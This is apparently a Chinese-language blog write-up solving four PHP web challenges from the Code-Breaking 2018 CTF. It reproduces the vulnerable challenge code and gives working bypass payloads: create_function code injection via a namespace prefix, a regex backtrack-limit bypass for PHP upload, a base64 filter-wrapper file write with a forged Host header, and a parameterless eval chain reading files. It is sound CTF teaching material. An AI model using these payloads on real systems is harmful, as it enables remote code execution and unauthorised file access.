白袍的小行星

Code-Breaking 2018题目部分wp

字数统计: 1.2k阅读时长: 4 min
2021/05/19 Share

题目是好几年前的,但是一直拖到现在才看,看了好半天的Java,来看看PHP换换脑子。

easy - function

<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';
if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__);
} else {
$action('', $arg);
}

正则用来匹配字母和数字以及下划线,所以需要进行绕过,并且还要能作为函数名正常使用。
$会匹配字符串结尾位置,但/D又限制了不匹配结尾的换行符,这里其实可以利用%0a这种特殊字符来进行绕过,因为preg_match默认只匹配一行。
但是如果使用%0a,又不能满足函数名正常使用了,这时就要用到一个技巧。
PHP的默认命名空间为\,所有原生函数和类都在这个命名空间中,使用\system()这种形式是完全可以的,这是一种绝对路径的方式。
之后就是寻找合适的函数,要求只用第二个参数完成RCE,使用create_function,其定义如下:

create_function ( string $args , string $code ) : string

此函数可以创建一个匿名函数,第一个参数是匿名函数的参数,第二个参数是匿名函数的内容。
例如:

$test = create_function('$a,$b', 'return $a+$b;');
echo $test(1,2); //3

实际上等价于:

function test($a,$b){
return $a+$b;
}

不仅仅功能等价,形式也等价,如果去掉第二个参数最后的分号,也会同样报错。
那我们就可以闭合花括号,让一部分语句逃逸出来:

$test = create_function('$a,$b', 'return $a+$b;}phpinfo();/*');
==>
function test($a,$b){
return $a+$b;
}
phpinfo();/*
}

最终的payload:

http://test.com/?action=%5ccreate_function&arg=return 1;}phpinfo();/*

easy - pcrewaf

<?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
if(empty($_FILES)) {
die(show_source(__FILE__));
}
$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo "bad request";
} else {
@mkdir($user_dir, 0755);
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path);
header("Location: $path", true, 303);
}

文件上传,文件名不可控,只有文件内容可控,还是需要绕过正则。
正则匹配内容是<?,以及其后面的反引号、左括号、分号以及?>,正常的PHP文件必定不行。
这里用到的是另一种绕过preg_match的方法,因为正则在匹配的时候是循环进行的,也就是回溯,但出于资源方面的考虑,这个回溯的次数肯定不是无限的,默认是100万。
preg_match的返回值是0或1,代表着匹配到的次数,饭超出回溯次数后,返回值就变成了false.
所以最后我们上传:

<?php phpinfo();//后面加1000000字符

easy - phpmagic

<?php
$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
if (!empty($_POST) && $domain):
$command = sprintf("dig -t A -q %s", escapeshellarg($domain));
$output = shell_exec($command);
$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);
$log_name = $_SERVER['SERVER_NAME'] . $log_name;
if (!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
file_put_contents($log_name, $output);
}
echo $output;
endif;
?>

escapeshellarg函数会给字符串两边加上单引号,并转义已存在的单引号;而htmlspecialchars会将&'"<>转义为HTML实体字符。
命令注入不可行,我们只能控制dig命令的目标,并且最后虽然进行了写文件,但是尖括号也被转义了。
但我们还能控制文件名,在这里可以使用伪协议,而文件内容经过编码,再经过伪协议解码后写入。
文件内容似乎没问题了,再回过头看文件名,发现有几个问题:

  1. 后缀名
  2. 文件名还会拼接$_SERVER['SERVER_NAME']

第一个问题可以使用1.php/.这样的方法绕过,而第二个问题也好解决,$_SERVER['SERVER_NAME']取得是请求头中Host的值,可以伪造:
20210518222053XfX1Vd

似乎都解决了,其实并不是,文件内容不是完全可控,dig命令执行完之后会有很多无用的字符会被写入文件,这会给解码带来麻烦。
编码部分我们选择base64,它在PHP中会有一个特性,就是解码时遇到不符合规范的字符会直接跳过,这样一来就没问题了。
base64解码时是4位一组,所以在正常base64字符串之前的字符数应该是4的倍数,这样解码时才不会产生错误,如果不是,就需要进行填充。
最后的payload如图所示:
202105182246513ZpLOc

easy - phplimit

<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
} else {
show_source(__FILE__);
}

还是一个正则,允许传入函数,不能有参数,也就是无参RCE,这种在2018年的时候还是蛮新鲜的,但是在现在已经出现很多不同有过滤的变种,所以不多说,直接放payload:

code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));

总结

因为对框架类以及JavaScript类的题目不太熟悉,所以先放着,以后有机会了再继续做。

CATALOG
  1. 1. easy - function
  2. 2. easy - pcrewaf
  3. 3. easy - phpmagic
  4. 4. easy - phplimit
  5. 5. 总结